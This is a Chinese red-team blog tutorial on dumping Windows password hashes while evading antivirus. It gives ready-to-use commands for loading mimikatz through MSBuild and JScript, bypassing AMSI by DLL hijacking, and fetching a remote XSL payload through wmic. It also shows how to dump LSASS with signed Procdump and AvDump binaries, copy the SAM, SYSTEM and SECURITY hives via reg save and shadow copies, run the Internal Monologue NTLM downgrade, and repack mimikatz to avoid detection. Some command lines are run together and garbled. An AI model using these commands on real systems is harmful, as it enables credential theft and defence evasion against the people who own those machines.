查看原文
其他

抓取HASH的10001种方法

南方猎鹰队 酒仙桥六号部队 2022-04-25

这是 酒仙桥六号部队 的第 145 篇文章。

全文共计3601个字,预计阅读时长10分钟


前言

在我们内网拿下机器时候,总会需要去抓取机器账户 HASH 值,但是往往大部分情况下机器存在杀软,有杀软的情况下服务器第一时间就干掉了最爱的 mimikatz。

我们需要更多的方法去抓取 HASH,常见的方法就不再详细举例了。

Net4.0 执行读取

下载 xml 文件

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

进入 Net4.0 目录,执行即可。

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319.\MSBuild.exe 1.xml


JS 加载

cscript mimikatz.js

它已经能被一些敏感的 AV 识别,我们可以对其进行 bypass,通过 DLL 劫持绕过。发现在 ProcessMonitor 可以看到进程调用 C:\Windows\System32\amsi.dll

我们直接对其 DLL 劫持即可。

copy c:\windows\system32\cscript amsi.dllasmi.dll 11.js

如何生成 mimikatz 的 js 版本,可以参考看下面的介绍。

https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a

这里用 csc 生成了 base64 加密的版本,再用使用 javascript 启动内存中的 mimikatz。

wmic 调用

本地:wmic process list /FORMAT:evil.xsl

远程:wmic os get /FORMAT:"https://example.com/evil.xsl"

Internal Monologue Attack

https://github.com/eladshamir/Internal-Monologue

介绍:通过 SSPI 调⽤ NTLM 身份验证,通过协商使⽤预定义 challenge 降级为 NetNTLMv1,获取到 NetNTLMv1 hash。⽽ NetNTLMv1 hash 可以短时间内使⽤彩虹表去破解。

这种情况可以在不接触 LSASS 的情况下检索 NTLM 哈希。可以说比运行 Mimikatz 更隐秘,因为不需要向受保护的进程注入代码或从受保护的进程中转储内存。由于 NetNTLMv1 响应是通过在本地与 NTLMSSP 进行交互而引发的,因此不会生成网络流量,并且所选择的挑战也不容易看到。没有成功的 NTLM 身份验证事件记录在日志中。

关于降级 NTLM 攻击可以看看这里

https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks

.\InternalMonologue.exe -Downgrade True -Restore False -Imperssonate True-Verbose True -Challenge 1122334455667788

成功出现当前的账户 HASH 值。


Bypass

部分杀软很变态能够将这些杀死,我们可以用几个方法将其绕过,转储 LASS,读取系统文件,制作新的 Bypassmimikazi 等等。

Procdump

官方介绍:ProcDump 是一个命令行实用程序,其主要目的是监视应用程序中的 CPU 尖峰并在尖峰期间生成崩溃转储,管理员或开发人员可以使用它来确定尖峰原因。ProcDump 还包括挂起的窗口监视,未处理的异常监视,并且可以基于系统性能计数器的值生成转储。它也可以用作常规流程转储实用程序。

大家都熟知的 Procdump,由于它是微软官方的签名,所以我们能通过它 bypass 某些不怎么样的杀软来 dump 出 lass 存储的密码。

执行如下命令

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

在本机的上面跑 mimikazi 进行密码的成功查看

Avdump

Avdump.exe 是在 Avast HomeSecurity 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。

它自带 Avast 杀软公司白签名。

我们直接运行即可。

.\AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --thread_id 0--min_interval 0 --dump_file e:\tmp\last.dmp

在本机的上面跑 mimikazi 进行密码的成功查看。


SAM 解密

像一些变态的 EDR,会禁用 Procdump、Minidump 等⽅式转储 lsass 进程,我们可以换一种方法。

SAM 它是安全帐户管理器。⽤于存储⽤户和 hash,可以⽤来验证本地和远程⽤户。

要解密 hash,我们需要获取到 SAM SYSTEM SECURITY 这三个⽂件。只要有这3个文件我们就能进行读取。


注册表复值

REG SAVE 将指定的子项、项和注册表值的副本保存到指定文件中,直接保存就完事了。

reg save hklm\system SYSTEMreg save hklm\sam SAMreg save hklm\security SECURITY

卷影复制

通过拷⻉卷影副本卷中的⽂件来读取 3 个文件

先创建 c 盘的 shadowscopy

wmic shadowcopy call create volume='c:\'


列出 shadows 的 list,从中并选择卷影副本卷,再复制我们需要的三个文件。

vssadmin list shadowscopy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\sam.copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\security.copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\system.

解密恢复 HASH

通过上面几种方法拿到 3 个文件后,我们用 impacket-secretsdump 来进行解密。

impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

用得到的 HASH 直接去解密即可。


mimikatz 免杀

除此之外我们还可以对 MIMIKAZi 进行免杀的处理。

一般的方法是删除代码层 MIMIKATZ 特征,默认资源,如 ICO 图标,替换 bin 包内容。

混淆编译完程序(加壳),克隆签名等等。

替换删除敏感词/修改图标 ico

修改 rc 特征。

利用Hex找出一些敏感 DLL,函数如 wdigest.dll,isbase64interceptinput 等等进行替换

替换敏感的 bin 文件中方法指定成系统自带的 dll 方法

netapi32

系统中 netapi32.dll 文件

创建 bin 文件并将其方法指定成系统的 function。

最后使用 themdia 加壳后再运行。

成功运行无报警。


总结

随着 AV 查杀,态势行为特征扫描的发展,利用的难度也越来越大,我们也需要不断提高自身的姿势水平,学习更好的方法来进行红蓝对抗。


参考链接:

https://www.archcloudlabs.com/projects/dumping-memory-with-av/

https://blog.xpnsec.com/exploring-mimikatz-part-2/

https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks

https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/

https://evi1cg.me/archives/AMSI_bypass.html

https://blog.csdn.net/wxh0000mm/article/details/105842889

https://www.secpulse.com/archives/71380.html


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存